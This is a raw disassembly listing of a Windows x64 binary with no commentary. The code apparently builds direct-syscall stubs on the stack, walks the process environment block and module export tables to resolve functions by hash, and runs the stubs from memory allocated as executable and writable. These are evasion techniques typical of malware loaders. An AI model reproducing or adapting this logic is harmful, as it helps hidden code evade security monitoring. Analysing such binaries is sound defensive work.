mov dword [rsp + 0x3ac0], 0x89
mov dword [rsp + 0x3abc], 0xca
mov dword [rsp + 0x3ab8], 0x48
mov dword [rsp + 0x3ab4], 0xc7
mov dword [rsp + 0x3ab0], 0xc0
mov dword [rsp + 0x3aac], 0x3f
mov dword [rsp + 0x3aa8], 0x10
mov dword [rsp + 0x3aa4], 0
mov dword [rsp + 0x3aa0], 0
mov dword [rsp + 0x3a9c], 0xf
mov dword [rsp + 0x3a98], 5
mov dword [rsp + 0x3a94], 0xc3
lea rax, [rsp + 0x3a94]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x3a98]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x3a9c]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x3aa0]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x3aa4]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x3aa8]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x3aac]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x3ab0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x3ab4]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x3ab8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x3abc]
lea r8, [rsp + 0x3ac0]
lea rdx, [rsp + 0x3ac4]
mov rcx, qword [rsp + 0x78d8]
call fcn.14008f900
mov byte [rsp + 0x1d0], 1
mov byte [rsp + 0x1d1], 0
movsxd rax, dword [rsp + 0x3ac8]
mov qword [rsp + 0x7ab0], rax
mov byte [rsp + 0x1d2], 0
mov byte [rsp + 0x1d3], 0
mov rax, qword [rsp + 0x78e0]
mov qword [rsp + 0x7ab8], rax
mov byte [rsp + 0x1d4], 0
mov byte [rsp + 0x1d5], 0
mov rax, qword [rsp + 0x78e8]
mov qword [rsp + 0x7ac0], rax
mov byte [rsp + 0x1d6], 0
mov byte [rsp + 0x1d7], 0
mov rax, qword [rsp + 0x78f0]
mov qword [rsp + 0x7ac8], rax
mov eax, dword [rsp + 0x6280]
mov dword [rsp + 0x3ad0], eax
lea rax, [0x1404d0cf0]
mov qword [rsp + 0x5040], rax
mov rax, qword [rsp + 0x5040]
mov qword [rsp + 0x78f8], rax
mov rax, qword [rsp + 0x78f8]
mov qword [rsp + 0xd150], rax
mov byte [rsp + 0xd158], 1
mov rax, qword [rsp + 0x5040]
mov rcx, rax
call sub.KERNEL32.dll_AcquireSRWLockShared
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7900], rax
lea r8, [rsp + 0x3ad0]
lea rdx, [rsp + 0x5058]
mov rcx, qword [rsp + 0x7900]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7908], rax
mov rax, qword [rsp + 0x7908]
add rax, 8
mov qword [rsp + 0x5048], rax
mov rax, qword [rsp + 0xdd88]
mov qword [rsp + 0x5050], rax
mov rax, qword [rsp + 0x5048]
mov qword [rsp + 0x5050], rax
mov rax, qword [rsp + 0x5048]
mov rax, qword [rax]
mov qword [rsp + 0x7910], rax
mov r8, qword [rsp + 0x5050]
mov rdx, qword [rsp + 0x7910]
lea rcx, [rsp + 0x7918]
call fcn.14006f260
lea rax, [rsp + 0x7918]
mov qword [rsp + 0x7920], rax
mov rax, qword [rsp + 0x7920]
mov rax, qword [rax]
cmp qword [rsp + 0x5058], rax
jne 0x140122800
mov dword [rsp + 0x744], 1
jmp 0x14012280b
mov dword [rsp + 0x744], 0
movzx eax, byte [rsp + 0x744]
mov byte [rsp + 0xca], al
movzx eax, byte [rsp + 0xca]
test eax, eax
je 0x140122834
mov qword [rsp + 0x5060], 0
jmp 0x14012289c
mov rax, qword [rsp + 0x5058]
add rax, 0x10
mov qword [rsp + 0x7928], rax
mov rax, qword [rsp + 0x7928]
mov qword [rsp + 0x7930], rax
mov rax, qword [rsp + 0x7930]
mov qword [rsp + 0x7938], rax
mov rax, qword [rsp + 0x7938]
mov qword [rsp + 0x7940], rax
mov rax, qword [rsp + 0x7940]
mov qword [rsp + 0x7948], rax
mov rax, qword [rsp + 0x7948]
mov rax, qword [rax + 8]
mov qword [rsp + 0x5060], rax
mov rax, qword [rsp + 0x5060]
mov qword [rsp + 0x7958], rax
movzx eax, byte [rsp + 0xd158]
test eax, eax
je 0x1401228d8
mov rax, qword [rsp + 0xd150]
mov qword [rsp + 0x7950], rax
mov rax, qword [rsp + 0x7950]
mov rcx, rax
call sub.KERNEL32.dll_ReleaseSRWLockShared
mov rax, qword [rsp + 0x7958]
mov qword [rsp + 0x5068], rax
cmp qword [rsp + 0x5068], 0
je 0x140122918
mov rax, qword [rsp + 0x5068]
mov eax, dword [rax + 4]
mov dword [rsp + 0x3ad8], eax
mov eax, dword [rsp + 0x3ad8]
mov dword [rsp + 0x6284], eax
jmp 0x1401237b4
lea rax, [rsp + 0xcf18]
mov qword [rsp + 0x5070], rax
mov rax, qword [rsp + 0x5070]
mov dword [rax], 0
mov rax, qword [rsp + 0x5070]
mov eax, dword [rax]
mov dword [rsp + 0x3ae8], eax
lea rax, [rsp + 0xcf1c]
mov qword [rsp + 0x5078], rax
mov eax, dword [rsp + 0x6280]
mov dword [rsp + 0x3ae0], eax
mov rax, qword [rsp + 0x5078]
mov ecx, dword [rsp + 0x3ae0]
mov dword [rax], ecx
mov rax, qword [rsp + 0x5078]
mov eax, dword [rax]
mov dword [rsp + 0x3aec], eax
mov eax, dword [rsp + 0x3ae8]
mov dword [rsp + 0x758], eax
mov eax, dword [rsp + 0x3aec]
mov dword [rsp + 0x780], eax
mov dword [rsp + 0x3af0], 0
mov eax, dword [rsp + 0x3af0]
cmp dword [rsp + 0x780], eax
jne 0x1401229d2
xor eax, eax
cmp eax, 1
je 0x1401229d2
mov dword [rsp + 0x748], 1
jmp 0x1401229dd
mov dword [rsp + 0x748], 0
movzx eax, byte [rsp + 0x748]
mov byte [rsp + 0xcb], al
movzx eax, byte [rsp + 0xcb]
test eax, eax
je 0x140122a09
mov qword [rsp + 0x11c0], 0
jmp 0x140123675
mov byte [rsp + 0x1d8], 1
mov qword [rsp + 0x6cc0], 0
mov qword [rsp + 0x6cc8], 0
mov rax, qword gs:[0x60]
mov qword [rsp + 0x7960], rax
mov rax, qword [rsp + 0x7960]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x7968], rax
mov rax, qword [rsp + 0x7968]
add rax, 0x10
mov qword [rsp + 0x3c38], rax
mov eax, 1
test eax, eax
je 0x140122a83
mov rax, qword [rsp + 0x3c38]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x5080], rax
jmp 0x140122a96
mov rax, qword [rsp + 0x3c38]
mov rax, qword [rax]
mov qword [rsp + 0x5080], rax
mov rax, qword [rsp + 0x5080]
mov qword [rsp + 0x6cc0], rax
mov rax, qword [rsp + 0x3c38]
mov qword [rsp + 0x6cc8], rax
lea rax, [rsp + 0x6cc0]
mov qword [rsp + 0x5088], rax
mov rax, qword [rsp + 0x5088]
mov rax, qword [rax]
mov qword [rsp + 0x7970], rax
mov rax, qword [rsp + 0x7970]
mov qword [rsp + 0x11a8], rax
mov rax, qword [rsp + 0x5088]
mov rax, qword [rax + 8]
mov qword [rsp + 0x7978], rax
mov rax, qword [rsp + 0x7978]
mov qword [rsp + 0x7980], rax
jmp 0x140122b22
mov rax, qword [rsp + 0x11a8]
mov rax, qword [rax]
mov qword [rsp + 0x11a8], rax
mov rax, qword [rsp + 0x7980]
cmp qword [rsp + 0x11a8], rax
je 0x140122b41
mov dword [rsp + 0x74c], 1
jmp 0x140122b4c
mov dword [rsp + 0x74c], 0
movzx eax, byte [rsp + 0x74c]
test eax, eax
je 0x140123669
xor eax, eax
mov qword [rsp + 0x7988], rax
mov rax, qword [rsp + 0x7988]
mov rcx, qword [rsp + 0x11a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7990], rax
lea rax, [rsp + 0x7990]
mov qword [rsp + 0x5098], rax
mov dword [rsp + 0x3af4], 0
mov eax, dword [rsp + 0x3af4]
cmp dword [rsp + 0x758], eax
jne 0x140122bc3
xor eax, eax
cmp eax, 1
je 0x140122bc3
mov dword [rsp + 0x750], 1
jmp 0x140122bce
mov dword [rsp + 0x750], 0
movzx eax, byte [rsp + 0x750]
mov byte [rsp + 0xcc], al
movzx eax, byte [rsp + 0xcc]
test eax, eax
jne 0x140122f0d
mov rax, qword [rsp + 0x5098]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x7998], rax
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax + 8]
mov qword [rsp + 0x5090], rax
mov rax, qword [rsp + 0x5090]
mov qword [rsp + 0xd6a0], rax
mov rax, qword [rsp + 0x5090]
mov qword [rsp + 0x79a0], rax
mov qword [rsp + 0x11b0], 0xffffffffffffffff
inc qword [rsp + 0x11b0]
mov rax, qword [rsp + 0x79a0]
mov rcx, qword [rsp + 0x11b0]
cmp word [rax + rcx*2], 0
jne 0x140122c44
mov rax, qword [rsp + 0x11b0]
mov qword [rsp + 0x79a8], rax
mov rax, qword [rsp + 0x79a8]
mov qword [rsp + 0xd6a8], rax
lea rax, [rsp + 0xd6a0]
mov qword [rsp + 0x79b0], rax
lea rax, [rsp + 0xe1f0]
mov rdi, rax
mov rsi, qword [rsp + 0x79b0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x758]
mov dword [rsp + 0x3af8], eax
lea rax, [rsp + 0xd160]
lea rcx, [rsp + 0xe1f0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x3af8]
mov dword [rsp + 0x770], eax
lea rax, [rsp + 0x760]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x760], 0x1b6e1b1e
lea rax, [rsp + 0x760]
mov qword [rsp + 0x79b8], rax
lea rax, [rsp + 0xe200]
lea rcx, [rsp + 0xd160]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe210]
lea rcx, [rsp + 0xe200]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe210]
mov rcx, qword [rsp + 0x79b8]
call fcn.140097890
mov dword [rsp + 0x3afc], eax
mov rax, qword [rsp + 0xd168]
mov qword [rsp + 0x79c0], rax
mov rax, qword [rsp + 0x79c0]
sub rax, 4
mov qword [rsp + 0x79c8], rax
mov r9, qword [rsp + 0x79c8]
xor r8d, r8d
lea rdx, [rsp + 0xe220]
lea rcx, [rsp + 0xd160]
call fcn.14019ab70
lea rax, [rsp + 0x764]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x764], 0x1b6e1b1e
lea rax, [rsp + 0x764]
mov qword [rsp + 0x79d0], rax
lea rax, [rsp + 0xe230]
lea rcx, [rsp + 0xe220]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe240]
lea rcx, [rsp + 0xe230]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe240]
mov rcx, qword [rsp + 0x79d0]
call fcn.140097890
mov dword [rsp + 0x3b04], eax
mov eax, dword [rsp + 0x3afc]
mov dword [rsp + 0x3b00], eax
mov eax, dword [rsp + 0x3b00]
cmp dword [rsp + 0x770], eax
jne 0x140122e66
xor eax, eax
cmp eax, 1
je 0x140122e66
mov dword [rsp + 0x768], 1
jmp 0x140122e71
mov dword [rsp + 0x768], 0
movzx eax, byte [rsp + 0x768]
mov byte [rsp + 0xcd], al
movzx eax, byte [rsp + 0xcd]
test eax, eax
jne 0x140122ef1
mov eax, dword [rsp + 0x3b04]
mov dword [rsp + 0x3b08], eax
mov eax, dword [rsp + 0x3b08]
cmp dword [rsp + 0x770], eax
jne 0x140122ebe
xor eax, eax
cmp eax, 1
je 0x140122ebe
mov dword [rsp + 0x778], 1
jmp 0x140122ec9
mov dword [rsp + 0x778], 0
movzx eax, byte [rsp + 0x778]
mov byte [rsp + 0xce], al
movzx eax, byte [rsp + 0xce]
test eax, eax
jne 0x140122ef1
mov dword [rsp + 0x77c], 1
jmp 0x140122efc
mov dword [rsp + 0x77c], 0
movzx eax, byte [rsp + 0x77c]
test eax, eax
je 0x140122f0d
jmp 0x140122b0f
mov rax, qword [rsp + 0x5098]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x50a0], rax
mov rax, qword [rsp + 0x50a0]
mov qword [rsp + 0x4320], rax
mov rax, qword [rsp + 0x50a0]
mov qword [rsp + 0x79d8], rax
mov rax, qword [rsp + 0x79d8]
mov qword [rsp + 0x50a8], rax
mov rax, qword [rsp + 0x50a8]
mov eax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x50a8]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x79e0], rax
mov eax, dword [rsp + 0x79e0]
add rax, qword [rsp + 0x4320]
mov qword [rsp + 0x79e8], rax
mov rax, qword [rsp + 0x79e8]
mov qword [rsp + 0x4328], rax
mov eax, dword [rsp + 0x780]
mov dword [rsp + 0x3b0c], eax
mov eax, dword [rsp + 0x3b0c]
mov dword [rsp + 0x3b10], eax
lea rdx, [rsp + 0x13498]
lea rcx, [rsp + 0x4320]
call fcn.1401906d0
lea rcx, [rsp + 0x130d0]
mov rdi, rcx
mov rsi, rax
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x134c0]
lea rcx, [rsp + 0x4320]
call fcn.14018ec60
lea rcx, [rsp + 0x130f8]
mov rdi, rcx
mov rsi, rax
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x13120]
lea rcx, [rsp + 0x130d0]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x13150]
lea rcx, [rsp + 0x130f8]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
mov r9d, dword [rsp + 0x3b10]
lea r8, [rsp + 0x13120]
lea rdx, [rsp + 0x13150]
lea rcx, [rsp + 0x11958]
call fcn.140097110
lea rdx, [rsp + 0x134e8]
lea rcx, [rsp + 0x4320]
call fcn.1401906d0
mov qword [rsp + 0x50b0], rax
mov rax, qword [rsp + 0x50b0]
mov rax, qword [rax + 8]
cmp qword [rsp + 0x11960], rax
jne 0x1401230c2
mov rax, qword [rsp + 0x50b0]
mov rax, qword [rax]
cmp qword [rsp + 0x11958], rax
jne 0x1401230c2
mov dword [rsp + 0x788], 1
jmp 0x1401230cd
mov dword [rsp + 0x788], 0
movzx eax, byte [rsp + 0x788]
mov byte [rsp + 0xcf], al
movzx eax, byte [rsp + 0xcf]
test eax, eax
je 0x1401230ed
jmp 0x140122b0f
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x1401231b3
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov qword [rsp + 0x50c0], rax
mov rax, qword [rsp + 0x50c0]
mov qword [rsp + 0x50b8], rax
mov rax, qword [rsp + 0x50b8]
mov qword [rax], 0
mov rax, qword [rsp + 0x50b8]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x50c0]
mov qword [rax + 0x10], 0
lea rax, [rsp + 0x11968]
mov qword [rsp + 0x50c8], rax
mov rax, qword [rsp + 0x50c8]
mov qword [rsp + 0xdd90], rax
mov rax, qword [rsp + 0x50c8]
add rax, 0x10
mov qword [rsp + 0x3c50], rax
mov rax, qword [rsp + 0x3c50]
mov rax, qword [rax]
mov qword [rsp + 0x50e8], rax
mov rax, qword [rsp + 0x4320]
mov qword [rsp + 0x79f0], rax
mov rax, qword [rsp + 0x79f0]
mov qword [rsp + 0x50d0], rax
mov rax, qword [rsp + 0x50d0]
mov eax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x50d0]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x50d8], rax
mov eax, dword [rsp + 0x50d8]
add rax, qword [rsp + 0x4320]
mov qword [rsp + 0x50e0], rax
mov eax, dword [rsp + 0x50dc]
mov rcx, qword [rsp + 0x50e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x79f8], rax
mov rax, qword [rsp + 0x50e0]
cmp qword [rsp + 0x50e8], rax
jb 0x1401232a2
mov rax, qword [rsp + 0x79f8]
cmp qword [rsp + 0x50e8], rax
jae 0x1401232a2
mov dword [rsp + 0x78c], 1
jmp 0x1401232ad
mov dword [rsp + 0x78c], 0
movzx eax, byte [rsp + 0x78c]
mov byte [rsp + 0xd0], al
movzx eax, byte [rsp + 0xd0]
test eax, eax
je 0x14012364f
mov rax, qword [rsp + 0x3c50]
mov rax, qword [rax]
mov qword [rsp + 0x7a00], rax
mov rax, qword [rsp + 0x7a00]
mov qword [rsp + 0x50f0], rax
lea rax, [rsp + 0x122d8]
mov qword [rsp + 0x3c40], rax
mov rax, qword [rsp + 0x3c40]
mov rcx, qword [rsp + 0x50f0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x50f0]
mov qword [rsp + 0x7a08], rax
mov qword [rsp + 0x11b8], 0xffffffffffffffff
inc qword [rsp + 0x11b8]
mov rax, qword [rsp + 0x7a08]
mov rcx, qword [rsp + 0x11b8]
cmp byte [rax + rcx], 0
jne 0x14012332e
mov rax, qword [rsp + 0x11b8]
mov qword [rsp + 0x7a10], rax
mov rax, qword [rsp + 0x3c40]
mov rcx, qword [rsp + 0x7a10]
mov qword [rax + 8], rcx
lea rax, [rsp + 0x6170]
mov rdi, rax
mov rsi, qword [rsp + 0x3c40]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov r9b, reloc.WLDAP32.dll_Ordinal_46
xor r8d, r8d
mov rdx, qword [rsp + 0x6178]
mov rcx, qword [rsp + 0x6170]
call fcn.140096220
mov qword [rsp + 0x3c48], rax
cmp qword [rsp + 0x3c48], 0xffffffffffffffff
je 0x140123442
mov r9, qword [rsp + 0x3c48]
xor r8d, r8d
lea rdx, [rsp + 0xe250]
lea rcx, [rsp + 0x6170]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3c48]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xe260]
lea rcx, [rsp + 0x6170]
call fcn.14019aaa0
lea rax, [rsp + 0xd5e0]
lea rcx, [rsp + 0xe250]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd5f0]
lea rcx, [rsp + 0xe260]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
jmp 0x1401234a1
lea rax, [rsp + 0x6170]
mov qword [rsp + 0x7a18], rax
mov qword [rsp + 0xd6b0], 0
mov qword [rsp + 0xd6b8], 0
lea rax, [rsp + 0xd5e0]
mov rdi, rax
mov rsi, qword [rsp + 0x7a18]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd5f0]
lea rcx, [rsp + 0xd6b0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd5e0]
mov qword [rsp + 0x7a20], rax
lea rax, [rsp + 0xd5f0]
mov qword [rsp + 0x7a30], rax
lea rax, [rsp + 0xcf20]
mov qword [rsp + 0x50f8], rax
lea rax, [rsp + 0x790]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x790], 0x1b6e1b1e
lea rax, [rsp + 0x790]
mov qword [rsp + 0x7a28], rax
lea rax, [rsp + 0xe270]
mov rdi, rax
mov rsi, qword [rsp + 0x7a20]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe280]
lea rcx, [rsp + 0xe270]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe280]
mov rcx, qword [rsp + 0x7a28]
call fcn.1400977d0
mov dword [rsp + 0x3b18], eax
mov rax, qword [rsp + 0x50f8]
mov ecx, dword [rsp + 0x3b18]
mov dword [rax], ecx
mov rax, qword [rsp + 0x50f8]
mov eax, dword [rax]
mov dword [rsp + 0x3b28], eax
lea rax, [rsp + 0xcf24]
mov qword [rsp + 0x5100], rax
lea rax, [rsp + 0x794]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x794], 0x1b6e1b1e
lea rax, [rsp + 0x794]
mov qword [rsp + 0x7a38], rax
lea rax, [rsp + 0xe290]
mov rdi, rax
mov rsi, qword [rsp + 0x7a30]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe2a0]
lea rcx, [rsp + 0xe290]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe2a0]
mov rcx, qword [rsp + 0x7a38]
call fcn.1400977d0
mov dword [rsp + 0x3b20], eax
mov rax, qword [rsp + 0x5100]
mov ecx, dword [rsp + 0x3b20]
mov dword [rax], ecx
mov rax, qword [rsp + 0x5100]
mov eax, dword [rax]
mov dword [rsp + 0x3b2c], eax
mov r8d, dword [rsp + 0x3b28]
mov edx, dword [rsp + 0x3b2c]
lea rcx, [rsp + 0x3c58]
call fcn.140191150
mov qword [rsp + 0x11c0], rax
jmp 0x140123675
mov rax, qword [rsp + 0x3c50]
mov rax, qword [rax]
mov qword [rsp + 0x11c0], rax
jmp 0x140123675
mov qword [rsp + 0x11c0], 0
mov rax, qword [rsp + 0x11c0]
mov qword [rsp + 0x3c58], rax
mov rax, qword [rsp + 0xdd98]
mov qword [rsp + 0x5108], rax
mov rax, qword [rsp + 0x3c58]
mov qword [rsp + 0x5108], rax
mov eax, dword [rsp + 0x6280]
mov dword [rsp + 0x3b30], eax
mov rax, qword [rsp + 0x5108]
mov qword [rsp + 0x7a50], rax
mov eax, dword [rsp + 0x3b30]
mov dword [rsp + 0x3b38], eax
lea rax, [0x1404d0cf0]
mov qword [rsp + 0x7a40], rax
mov rax, qword [rsp + 0x7a40]
mov qword [rsp + 0x6180], rax
mov byte [rsp + 0x6188], 0
mov rax, qword [rsp + 0x6180]
mov qword [rsp + 0x7a48], rax
mov rax, qword [rsp + 0x7a48]
mov rcx, rax
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x6188], 1
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7a58], rax
lea r9, [rsp + 0x7a50]
lea r8, [rsp + 0x3b38]
lea rdx, [rsp + 0x122e8]
mov rcx, qword [rsp + 0x7a58]
call fcn.140098320
movzx eax, byte [rsp + 0x6188]
test eax, eax
je 0x140123784
mov rax, qword [rsp + 0x6180]
mov qword [rsp + 0x7a60], rax
mov rax, qword [rsp + 0x7a60]
mov rcx, rax
call sub.KERNEL32.dll_ReleaseSRWLockExclusive
mov rax, qword [rsp + 0x3c58]
mov qword [rsp + 0x7a68], rax
mov rax, qword [rsp + 0x7a68]
mov eax, dword [rax + 4]
mov dword [rsp + 0x3b40], eax
mov eax, dword [rsp + 0x3b40]
mov dword [rsp + 0x6284], eax
lea rax, [rsp + 0x6288]
mov qword [rsp + 0x7a70], rax
mov eax, dword [rsp + 0x6284]
mov dword [rsp + 0x3b48], eax
mov rax, qword [rsp + 0x7a70]
add rax, 0x11
mov qword [rsp + 0x7a78], rax
mov eax, 6
mov rcx, qword [rsp + 0x7a78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a80], rax
mov rax, qword [rsp + 0x7a80]
mov ecx, dword [rsp + 0x3b48]
mov dword [rax], ecx
lea rax, [rsp + 0x6288]
mov qword [rsp + 0x580], rax
mov rax, qword [rsp + 0x580]
add rax, 0x10
mov qword [rsp + 0xdda0], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x7a88], rax
mov qword [rsp + 0x5110], 0
mov qword [rsp + 0x7a90], 0xd
mov rax, qword [rsp + 0x7a88]
mov qword [rsp + 0x7a98], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x7a90]
xor r8d, r8d
lea rdx, [rsp + 0x5110]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x7a98]
mov dword [rsp + 0x3b50], eax
cmp dword [rsp + 0x3b50], 0
jl 0x1401238c5
mov rax, qword [rsp + 0x5110]
mov qword [rsp + 0x5118], rax
jmp 0x1401238d1
mov qword [rsp + 0x5118], 0
mov rax, qword [rsp + 0x5118]
mov qword [rsp + 0x7aa0], rax
mov rax, qword [rsp + 0x580]
mov rcx, qword [rsp + 0x7aa0]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x580]
cmp qword [rax + 8], 0
jne 0x140123906
jmp 0x14012394f
mov rax, qword [rsp + 0x580]
add rax, 0x11
mov qword [rsp + 0x7aa8], rax
mov rax, qword [rsp + 0x580]
mov rax, qword [rax + 8]
mov rdi, rax
mov rsi, qword [rsp + 0x7aa8]
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x580]
mov rcx, qword [rsp + 0x580]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6288]
mov qword [rsp + 0x7ad0], rax
mov r9, qword [rsp + 0x7ab0]
mov r8, qword [rsp + 0x7ab8]
mov rdx, qword [rsp + 0x7ac0]
mov rcx, qword [rsp + 0x7ac8]
call qword [rsp + 0x7ad0]
mov dword [rsp + 0x3b54], eax
lea rax, [rsp + 0x6288]
mov rcx, rax
call fcn.1400a0db0
mov eax, dword [rsp + 0x3b54]
mov dword [rsp + 0x3b58], eax
cmp dword [rsp + 0x3b58], 0
jge 0x1401239c2
mov dword [rsp + 0x74], 0
jmp 0x1401344d1
mov qword [rsp + 0x168], 0
mov eax, dword [rsp + 0x150]
mov qword [rsp + 0x7ad8], rax
mov dword [rsp + 0x15c0], 4
mov dword [rsp + 0x15c4], 0x3000
lea rax, [rsp + 0x7ad8]
mov qword [rsp + 0x7ae8], rax
mov dword [rsp + 0x15c8], 0
lea rax, [rsp + 0x168]
mov qword [rsp + 0x7af0], rax
mov qword [rsp + 0x7af8], 0xffffffffffffffff
mov dword [rsp + 0x3b5c], 0xdab74943
mov eax, dword [rsp + 0x3b5c]
mov dword [rsp + 0x3b60], eax
mov eax, dword [rsp + 0x3b60]
mov dword [rsp + 0x3b68], eax
mov eax, dword [rsp + 0x3b68]
mov dword [rsp + 0x62a8], eax
mov dword [rsp + 0x62ac], 0
lea rax, [rsp + 0x62b0]
mov qword [rsp + 0x7ae0], rax
mov dword [rsp + 0x4360], 0x49
mov dword [rsp + 0x42c8], 0x89
mov dword [rsp + 0x3b94], 0xca
mov dword [rsp + 0x3b90], 0x48
mov dword [rsp + 0x3b8c], 0xc7
mov dword [rsp + 0x3b88], 0xc0
mov dword [rsp + 0x3b84], 0x3f
mov dword [rsp + 0x3b80], 0x10
mov dword [rsp + 0x3b7c], 0
mov dword [rsp + 0x3b78], 0
mov dword [rsp + 0x3b74], 0xf
mov dword [rsp + 0x3b70], 5
mov dword [rsp + 0x3b6c], 0xc3
lea rax, [rsp + 0x3b6c]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x3b70]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x3b74]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x3b78]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x3b7c]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x3b80]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x3b84]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x3b88]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x3b8c]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x3b90]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x3b94]
lea r8, [rsp + 0x42c8]
lea rdx, [rsp + 0x4360]
mov rcx, qword [rsp + 0x7ae0]
call fcn.14008f900
mov byte [rsp + 0x1d9], 1
mov byte [rsp + 0x1da], 0
movsxd rax, dword [rsp + 0x15c0]
mov qword [rsp + 0x7cb8], rax
mov byte [rsp + 0x1db], 1
mov byte [rsp + 0x1dc], 0
movsxd rax, dword [rsp + 0x15c4]
